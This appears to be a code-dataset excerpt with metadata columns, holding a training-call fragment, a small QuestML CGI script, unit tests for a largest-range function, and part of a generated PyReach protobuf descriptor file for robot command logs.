lr=2e-5,
weight_decay=0.01,
graph="data/gai/graph.adjlist",
features="data/gai/base_features/bert-768/cls/embedding.npy",
batch_size=4,
accumulate_grad_batches=4,
epochs=3,
gpus=1,
num_workers=0)
print(result)
| 43.912281 | 98 | 0.428286 | 243 | 2,503 | 4.222222 | 0.304527 | 0.095517 | 0.070175 | 0.070175 | 0.783626 | 0.77193 | 0.764133 | 0.727096 | 0.727096 | 0.727096 | 0 | 0.026667 | 0.430683 | 2,503 | 56 | 99 | 44.696429 | 0.693333 | 0 | 0 | 0.74 | 0 | 0 | 0.274347 | 0.176958 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.02 | 0 | 0.02 | 0.2 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
5f032eacad499539bc1869dd045af5ccedd02b64 | 163 | py | Python | script/Python/index.py | JPhilipp/QuestML | 22260cb9de7a07f75b6a788d12ae20dfe51d0830 | [
"MIT"
] | 2 | 2021-07-24T12:44:54.000Z | 2021-08-19T03:00:11.000Z | script/Python/index.py | JPhilipp/QuestML | 22260cb9de7a07f75b6a788d12ae20dfe51d0830 | [
"MIT"
] | null | null | null | script/Python/index.py | JPhilipp/QuestML | 22260cb9de7a07f75b6a788d12ae20dfe51d0830 | [
"MIT"
] | null | null | null | #!/usr/bin/python
import class_quest_handler
questHandler = class_quest_handler.QuestHandler()
print 'Content-type: text/html\n\n'
print questHandler.getOutput() | 23.285714 | 49 | 0.809816 | 22 | 163 | 5.818182 | 0.681818 | 0.15625 | 0.265625 | 0.453125 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.07362 | 163 | 7 | 50 | 23.285714 | 0.847682 | 0.09816 | 0 | 0 | 0 | 0 | 0.183673 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.25 | null | null | 0.5 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 6 |
5f2abc5f625fed62fad95a6e53ed5961a78fe6d6 | 1,706 | py | Python | 70_question/array/largest_range_test.py | alvinctk/google-tech-dev-guide | 9d7759bea1f44673c2de4f25a94b27368928a59f | [
"Apache-2.0"
] | 26 | 2019-06-07T05:29:47.000Z | 2022-03-19T15:32:27.000Z | 70_question/array/largest_range_test.py | alvinctk/google-tech-dev-guide | 9d7759bea1f44673c2de4f25a94b27368928a59f | [
"Apache-2.0"
] | null | null | null | 70_question/array/largest_range_test.py | alvinctk/google-tech-dev-guide | 9d7759bea1f44673c2de4f25a94b27368928a59f | [
"Apache-2.0"
] | 6 | 2019-10-10T06:39:28.000Z | 2020-05-12T19:50:55.000Z | import largest_range as program
import unittest
class TestProgram(unittest.TestCase):
def test_case_1(self):
self.assertEqual(program.largestRange([1]), [1, 1])
def test_case_2(self):
self.assertEqual(program.largestRange([1, 2]), [1, 2])
def test_case_3(self):
self.assertEqual(program.largestRange([4, 2, 1, 3]), [1, 4])
def test_case_4(self):
self.assertEqual(program.largestRange([4, 2, 1, 3, 6]), [1, 4])
def test_case_5(self):
self.assertEqual(program.largestRange([8, 4, 2, 10, 3, 6, 7, 9, 1]), [6, 10])
def test_case_6(self):
self.assertEqual(program.largestRange([1, 11, 3, 0, 15, 5, 2, 4, 10, 7, 12, 6]), [0, 7])
def test_case_7(self):
self.assertEqual(program.largestRange([19, -1, 18, 17, 2, 10, 3, 12, 5, 16, 4, 11, 8, 7, 6, 15, 12, 12, 2, 1, 6, 13, 14]), [10, 19])
def test_case_8(self):
self.assertEqual(program.largestRange([0, 9, 19, -1, 18, 17, 2, 10, 3, 12, 5, 16, 4, 11, 8, 7, 6, 15, 12, 12, 2, 1, 6, 13, 14]), [-1, 19])
def test_case_9(self):
self.assertEqual(program.largestRange([0, -5, 9, 19, -1, 18, 17, 2, -4, -3, 10, 3, 12, 5, 16, 4, 11, 7, -6, -7, 6, 15, 12, 12, 2, 1, 6, 13, 14, -2]), [-7, 7])
def test_case_10(self):
self.assertEqual(program.largestRange([0, -5, 9, 19, -1, 18, 17, 2, -4, -3, 10, 3, 12, 5, 16, 4, 11, 7, -6, -7, 6, 15, 12, 12, 2, 1, 6, 13, 14, -2]), [-7, 7])
def test_case_11(self):
self.assertEqual(program.largestRange([-7, -7, -7, -7, 8, -8, 0, 9, 19, -1, -3, 18, 17, 2, 10, 3, 12, 5, 16, 4, 11, -6, 8, 7, 6, 15, 12, 12, -5, 2, 1, 6, 13, 14, -4, -2]), [-8, 19])
if __name__ == "__main__":
unittest.main()
| 39.674419 | 189 | 0.5551 | 314 | 1,706 | 2.917197 | 0.121019 | 0.084061 | 0.132096 | 0.312227 | 0.730349 | 0.569869 | 0.388646 | 0.388646 | 0.388646 | 0.296943 | 0 | 0.213475 | 0.225674 | 1,706 | 42 | 190 | 40.619048 | 0.479939 | 0 | 0 | 0.074074 | 0 | 0 | 0.004692 | 0 | 0 | 0 | 0 | 0 | 0.407407 | 1 | 0.407407 | false | 0 | 0.074074 | 0 | 0.518519 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 6 |
5f2ae0fa20f65c0749bc8c6bd097f148fe21d944 | 495,909 | py | Python | pyreach/common/proto_gen/logs_pb2.py | google-research/pyreach | f91753ce7a26e77e122eb02a9fdd5a1ce3ce0159 | [
"Apache-2.0"
] | 13 | 2021-09-01T01:10:22.000Z | 2022-03-05T10:01:52.000Z | pyreach/common/proto_gen/logs_pb2.py | google-research/pyreach | f91753ce7a26e77e122eb02a9fdd5a1ce3ce0159 | [
"Apache-2.0"
] | null | null | null | pyreach/common/proto_gen/logs_pb2.py | google-research/pyreach | f91753ce7a26e77e122eb02a9fdd5a1ce3ce0159 | [
"Apache-2.0"
] | 6 | 2021-09-20T21:17:53.000Z | 2022-03-14T18:42:48.000Z | # Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: logs.proto
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.protobuf import symbol_database as _symbol_database
# @@protoc_insertion_point(imports)
_sym_db = _symbol_database.Default()
from google.protobuf import duration_pb2 as google_dot_protobuf_dot_duration__pb2
from google.protobuf import timestamp_pb2 as google_dot_protobuf_dot_timestamp__pb2
import pyreach.common.proto_gen.logs_options_pb2 as logs__options__pb2
import pyreach.common.proto_gen.experiment_config_pb2 as experiment__config__pb2
DESCRIPTOR = _descriptor.FileDescriptor(
name='logs.proto',
package='robotics.learning.reach',
syntax='proto2',
serialized_options=None,
create_key=_descriptor._internal_create_key,
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dependencies=[google_dot_protobuf_dot_duration__pb2.DESCRIPTOR,google_dot_protobuf_dot_timestamp__pb2.DESCRIPTOR,logs__options__pb2.DESCRIPTOR,experiment__config__pb2.DESCRIPTOR,])
_COMMANDDATA = _descriptor.Descriptor(
name='CommandData',
full_name='robotics.learning.reach.CommandData',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='device_type', full_name='robotics.learning.reach.CommandData.device_type', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='device_name', full_name='robotics.learning.reach.CommandData.device_name', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='data_type', full_name='robotics.learning.reach.CommandData.data_type', index=2,
number=3, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='tag', full_name='robotics.learning.reach.CommandData.tag', index=3,
number=6, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='ts', full_name='robotics.learning.reach.CommandData.ts', index=4,
number=7, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\0042\002TS', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='operator_uid', full_name='robotics.learning.reach.CommandData.operator_uid', index=5,
number=8, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\030\001', json_name='operatorUID', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='session_id', full_name='robotics.learning.reach.CommandData.session_id', index=6,
number=9, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\030\001', json_name='sessionID', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='robot_name', full_name='robotics.learning.reach.CommandData.robot_name', index=7,
number=10, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\030\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='client_os', full_name='robotics.learning.reach.CommandData.client_os', index=8,
number=11, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\030\001', json_name='clientOS', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='ui_version', full_name='robotics.learning.reach.CommandData.ui_version', index=9,
number=12, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\030\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='origin', full_name='robotics.learning.reach.CommandData.origin', index=10,
number=13, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='origin_type', full_name='robotics.learning.reach.CommandData.origin_type', index=11,
number=14, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='origin_transport_type', full_name='robotics.learning.reach.CommandData.origin_transport_type', index=12,
number=47, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='origin_client', full_name='robotics.learning.reach.CommandData.origin_client', index=13,
number=48, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='origin_control', full_name='robotics.learning.reach.CommandData.origin_control', index=14,
number=49, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='seq', full_name='robotics.learning.reach.CommandData.seq', index=15,
number=63, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='snapshot', full_name='robotics.learning.reach.CommandData.snapshot', index=16,
number=64, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='metadata', full_name='robotics.learning.reach.CommandData.metadata', index=17,
number=40, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\014 \001*\010metadata', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='key_value', full_name='robotics.learning.reach.CommandData.key_value', index=18,
number=41, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\r*\tkey-valueP\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='key_value_request', full_name='robotics.learning.reach.CommandData.key_value_request', index=19,
number=42, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\025*\021key-value-requestP\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='session_info', full_name='robotics.learning.reach.CommandData.session_info', index=20,
number=43, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\016*\014session-info', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='trigger', full_name='robotics.learning.reach.CommandData.trigger', index=21,
number=45, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\t*\007trigger', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='i_see_data', full_name='robotics.learning.reach.CommandData.i_see_data', index=22,
number=50, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\020\030\001*\ni-see-dataX\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='ping', full_name='robotics.learning.reach.CommandData.ping', index=23,
number=51, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\n\030\001*\004pingX\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='client_session_end', full_name='robotics.learning.reach.CommandData.client_session_end', index=24,
number=53, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\030\030\001*\022client-session-endX\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='connected_clients_request', full_name='robotics.learning.reach.CommandData.connected_clients_request', index=25,
number=54, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\037\030\001*\031connected-clients-requestX\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='start_shutdown', full_name='robotics.learning.reach.CommandData.start_shutdown', index=26,
number=55, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\020*\016start-shutdown', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='finish_shutdown', full_name='robotics.learning.reach.CommandData.finish_shutdown', index=27,
number=56, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\021*\017finish-shutdown', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='hangup', full_name='robotics.learning.reach.CommandData.hangup', index=28,
number=57, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\010*\006hangup', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='client_session_start', full_name='robotics.learning.reach.CommandData.client_session_start', index=29,
number=58, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\026*\024client-session-start', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='client_annotation', full_name='robotics.learning.reach.CommandData.client_annotation', index=30,
number=59, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\023*\021client-annotation', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='pipeline_description_request', full_name='robotics.learning.reach.CommandData.pipeline_description_request', index=31,
number=60, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\036*\034pipeline-description-request', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='machine_interfaces_request', full_name='robotics.learning.reach.CommandData.machine_interfaces_request', index=32,
number=61, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\034*\032machine-interfaces-request', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='text_instruction_request', full_name='robotics.learning.reach.CommandData.text_instruction_request', index=33,
number=62, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\032*\030text-instruction-request', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='stream_request', full_name='robotics.learning.reach.CommandData.stream_request', index=34,
number=65, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\020*\016stream-request', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='controller_descriptions_request', full_name='robotics.learning.reach.CommandData.controller_descriptions_request', index=35,
number=66, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010!*\037controller-descriptions-request', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='user_label', full_name='robotics.learning.reach.CommandData.user_label', index=36,
number=67, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\014*\nuser-label', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='enable_experiments', full_name='robotics.learning.reach.CommandData.enable_experiments', index=37,
number=68, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\024*\022enable-experiments', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='disable_experiments', full_name='robotics.learning.reach.CommandData.disable_experiments', index=38,
number=69, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\025*\023disable-experiments', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='experiment_flags', full_name='robotics.learning.reach.CommandData.experiment_flags', index=39,
number=70, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\024 \001*\020experiment-flags', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='script', full_name='robotics.learning.reach.CommandData.script', index=40,
number=15, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='reach_script', full_name='robotics.learning.reach.CommandData.reach_script', index=41,
number=16, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010&*\014reach-script*\nrun-script*\nur-command', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='cmd', full_name='robotics.learning.reach.CommandData.cmd', index=42,
number=17, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='args', full_name='robotics.learning.reach.CommandData.args', index=43,
number=18, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='progress', full_name='robotics.learning.reach.CommandData.progress', index=44,
number=19, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='message', full_name='robotics.learning.reach.CommandData.message', index=45,
number=20, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='error', full_name='robotics.learning.reach.CommandData.error', index=46,
number=21, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='detailed_error', full_name='robotics.learning.reach.CommandData.detailed_error', index=47,
number=22, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='intent', full_name='robotics.learning.reach.CommandData.intent', index=48,
number=23, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='success_type', full_name='robotics.learning.reach.CommandData.success_type', index=49,
number=24, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='x', full_name='robotics.learning.reach.CommandData.x', index=50,
number=25, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='y', full_name='robotics.learning.reach.CommandData.y', index=51,
number=26, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='exp', full_name='robotics.learning.reach.CommandData.exp', index=52,
number=27, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='exp_array', full_name='robotics.learning.reach.CommandData.exp_array', index=53,
number=34, type=11, cpp_type=10, label=3,
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message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='event_duration', full_name='robotics.learning.reach.CommandData.event_duration', index=54,
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has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='event_name', full_name='robotics.learning.reach.CommandData.event_name', index=55,
number=29, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010#*\005event*\013event-start*\rpointer-event', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='event_labels', full_name='robotics.learning.reach.CommandData.event_labels', index=56,
number=30, type=9, cpp_type=9, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\r\022\013eventlabels', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='event_params', full_name='robotics.learning.reach.CommandData.event_params', index=57,
number=31, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\0028\000', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='pick_id', full_name='robotics.learning.reach.CommandData.pick_id', index=58,
number=32, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, json_name='pickID', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='experiment_token', full_name='robotics.learning.reach.CommandData.experiment_token', index=59,
number=33, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='history', full_name='robotics.learning.reach.CommandData.history', index=60,
number=37, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\021*\017history-request', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
